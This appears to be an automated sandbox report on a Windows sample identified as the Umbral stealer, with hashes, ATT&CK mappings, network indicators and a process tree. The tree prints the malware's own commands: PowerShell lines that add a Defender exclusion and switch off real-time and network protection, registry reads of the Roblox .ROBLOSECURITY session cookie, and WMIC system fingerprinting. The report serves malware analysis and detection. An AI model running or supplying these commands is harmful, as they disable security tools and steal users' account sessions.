umbral | 3b97b49496b1d19bd7fec189d26ba0e5ff3051eb759e48cc02c934aceb7868ee

Analysis

max time kernel
10s
max time network
12s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
10-09-2024 18:02

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General

Target

BoogieTool.exe
Size

229KB
MD5

a95d6f4a4315650e730488eabbe1a5dc
SHA1

dd8358dceb4125cbcc85c2d18721a2ef1aa5b165
SHA256

3b97b49496b1d19bd7fec189d26ba0e5ff3051eb759e48cc02c934aceb7868ee
SHA512

b3a1822d4426178ceae2ab76597bf072c41cfa374141bc7adfb01dfafcfc443a713d1526e800290afd265cd932ec756235ffde880cf5ab6fd858b2adf1ed619e
SSDEEP

6144:tloZMYrIkd8g+EtXHkv/iD4yfqmR/k4XoG/BcoNNKb8e1mwMQi:voZHL+EP8yfqmR/k4XoG/BcoNAKJ

Score

10^/10

umbral credential_access execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2772-1-0x00000290FC240000-0x00000290FC280000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
216	powershell.exe
1284	powershell.exe
2220	powershell.exe
5076	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
23	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3244	wmic.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
5076	powershell.exe
5076	powershell.exe
1284	powershell.exe
1284	powershell.exe
2220	powershell.exe
2220	powershell.exe
368	powershell.exe
368	powershell.exe
216	powershell.exe
216	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2772	BoogieTool.exe
Token: SeDebugPrivilege	5076	powershell.exe
Token: SeDebugPrivilege	1284	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	368	powershell.exe
Token: SeIncreaseQuotaPrivilege	2908	wmic.exe
Token: SeSecurityPrivilege	2908	wmic.exe
Token: SeTakeOwnershipPrivilege	2908	wmic.exe
Token: SeLoadDriverPrivilege	2908	wmic.exe
Token: SeSystemProfilePrivilege	2908	wmic.exe
Token: SeSystemtimePrivilege	2908	wmic.exe
Token: SeProfSingleProcessPrivilege	2908	wmic.exe
Token: SeIncBasePriorityPrivilege	2908	wmic.exe
Token: SeCreatePagefilePrivilege	2908	wmic.exe
Token: SeBackupPrivilege	2908	wmic.exe
Token: SeRestorePrivilege	2908	wmic.exe
Token: SeShutdownPrivilege	2908	wmic.exe
Token: SeDebugPrivilege	2908	wmic.exe
Token: SeSystemEnvironmentPrivilege	2908	wmic.exe
Token: SeRemoteShutdownPrivilege	2908	wmic.exe
Token: SeUndockPrivilege	2908	wmic.exe
Token: SeManageVolumePrivilege	2908	wmic.exe
Token: 33	2908	wmic.exe
Token: 34	2908	wmic.exe
Token: 35	2908	wmic.exe
Token: 36	2908	wmic.exe
Token: SeIncreaseQuotaPrivilege	2908	wmic.exe
Token: SeSecurityPrivilege	2908	wmic.exe
Token: SeTakeOwnershipPrivilege	2908	wmic.exe
Token: SeLoadDriverPrivilege	2908	wmic.exe
Token: SeSystemProfilePrivilege	2908	wmic.exe
Token: SeSystemtimePrivilege	2908	wmic.exe
Token: SeProfSingleProcessPrivilege	2908	wmic.exe
Token: SeIncBasePriorityPrivilege	2908	wmic.exe
Token: SeCreatePagefilePrivilege	2908	wmic.exe
Token: SeBackupPrivilege	2908	wmic.exe
Token: SeRestorePrivilege	2908	wmic.exe
Token: SeShutdownPrivilege	2908	wmic.exe
Token: SeDebugPrivilege	2908	wmic.exe
Token: SeSystemEnvironmentPrivilege	2908	wmic.exe
Token: SeRemoteShutdownPrivilege	2908	wmic.exe
Token: SeUndockPrivilege	2908	wmic.exe
Token: SeManageVolumePrivilege	2908	wmic.exe
Token: 33	2908	wmic.exe
Token: 34	2908	wmic.exe
Token: 35	2908	wmic.exe
Token: 36	2908	wmic.exe
Token: SeIncreaseQuotaPrivilege	944	wmic.exe
Token: SeSecurityPrivilege	944	wmic.exe
Token: SeTakeOwnershipPrivilege	944	wmic.exe
Token: SeLoadDriverPrivilege	944	wmic.exe
Token: SeSystemProfilePrivilege	944	wmic.exe
Token: SeSystemtimePrivilege	944	wmic.exe
Token: SeProfSingleProcessPrivilege	944	wmic.exe
Token: SeIncBasePriorityPrivilege	944	wmic.exe
Token: SeCreatePagefilePrivilege	944	wmic.exe
Token: SeBackupPrivilege	944	wmic.exe
Token: SeRestorePrivilege	944	wmic.exe
Token: SeShutdownPrivilege	944	wmic.exe
Token: SeDebugPrivilege	944	wmic.exe
Token: SeSystemEnvironmentPrivilege	944	wmic.exe
Token: SeRemoteShutdownPrivilege	944	wmic.exe
Token: SeUndockPrivilege	944	wmic.exe
Token: SeManageVolumePrivilege	944	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2772 wrote to memory of 5076	2772	BoogieTool.exe	85
PID 2772 wrote to memory of 5076	2772	BoogieTool.exe	85
PID 2772 wrote to memory of 1284	2772	BoogieTool.exe	88
PID 2772 wrote to memory of 1284	2772	BoogieTool.exe	88
PID 2772 wrote to memory of 2220	2772	BoogieTool.exe	90
PID 2772 wrote to memory of 2220	2772	BoogieTool.exe	90
PID 2772 wrote to memory of 368	2772	BoogieTool.exe	92
PID 2772 wrote to memory of 368	2772	BoogieTool.exe	92
PID 2772 wrote to memory of 2908	2772	BoogieTool.exe	94
PID 2772 wrote to memory of 2908	2772	BoogieTool.exe	94
PID 2772 wrote to memory of 944	2772	BoogieTool.exe	97
PID 2772 wrote to memory of 944	2772	BoogieTool.exe	97
PID 2772 wrote to memory of 3056	2772	BoogieTool.exe	99
PID 2772 wrote to memory of 3056	2772	BoogieTool.exe	99
PID 2772 wrote to memory of 216	2772	BoogieTool.exe	101
PID 2772 wrote to memory of 216	2772	BoogieTool.exe	101
PID 2772 wrote to memory of 3244	2772	BoogieTool.exe	103
PID 2772 wrote to memory of 3244	2772	BoogieTool.exe	103

C:\Users\Admin\AppData\Local\Temp\BoogieTool.exe
"C:\Users\Admin\AppData\Local\Temp\BoogieTool.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\BoogieTool.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:368
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2908
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:944
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:216
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3244

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
17d8127be94d3c1b6fcc9a4ed585003e

SHA1
789874fcc7c778c723f3e89822d8cc8750c6c4c8

SHA256
ea357ad1f95863b3618d31e5b0f90495331f64de2b784d9e185b48668c937a7b

SHA512
bb18b6d07d82227f5cfbe3eb460df79ec892c560ad2964dcd4782aa26336ae15059843bf46a739bdd4a4daa58057f99102531a756a1cf434ce6449b3cd35a98e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ec1ba4a995d866b282087b26a0539bbc

SHA1
c4aeae2bc3fa9a898680648b20102f01e8a811cf

SHA256
469da678c3c0364b1b511962cffd44cbfc10aab5c1c528c0c09fd952f08d8a2c

SHA512
07bf757ec9d0d368d3ef1bfc2b562895e2708757f8fefa04fa50beaa6fb38af1018ea0cfccf5666c5c8baa4c894deead9652c53e0608aa6a83ef5b396dba43e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mv4dxuot.p52.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1284-32-0x000001F06E280000-0x000001F06E49C000-memory.dmp

Filesize
2.1MB

Download
memory/2772-36-0x00000290FE910000-0x00000290FE92E000-memory.dmp

Filesize
120KB

Download
memory/2772-2-0x00007FF8FA260000-0x00007FF8FAD21000-memory.dmp

Filesize
10.8MB

Download
memory/2772-91-0x00007FF8FA260000-0x00007FF8FAD21000-memory.dmp

Filesize
10.8MB

Download
memory/2772-1-0x00000290FC240000-0x00000290FC280000-memory.dmp

Filesize
256KB

Download
memory/2772-73-0x00000290FE950000-0x00000290FE962000-memory.dmp

Filesize
72KB

Download
memory/2772-72-0x00000290FE900000-0x00000290FE90A000-memory.dmp

Filesize
40KB

Download
memory/2772-34-0x00000290FE970000-0x00000290FE9E6000-memory.dmp

Filesize
472KB

Download
memory/2772-35-0x00000290FE9F0000-0x00000290FEA40000-memory.dmp

Filesize
320KB

Download
memory/2772-0-0x00007FF8FA263000-0x00007FF8FA265000-memory.dmp

Filesize
8KB

Download
memory/5076-13-0x00007FF8FA260000-0x00007FF8FAD21000-memory.dmp

Filesize
10.8MB

Download
memory/5076-18-0x00000299E0510000-0x00000299E067A000-memory.dmp

Filesize
1.4MB

Download
memory/5076-12-0x00000299C7F90000-0x00000299C7FB2000-memory.dmp

Filesize
136KB

Download
memory/5076-14-0x00007FF8FA260000-0x00007FF8FAD21000-memory.dmp

Filesize
10.8MB

Download
memory/5076-15-0x00007FF8FA260000-0x00007FF8FAD21000-memory.dmp

Filesize
10.8MB

Download
memory/5076-19-0x00007FF8FA260000-0x00007FF8FAD21000-memory.dmp

Filesize
10.8MB

Download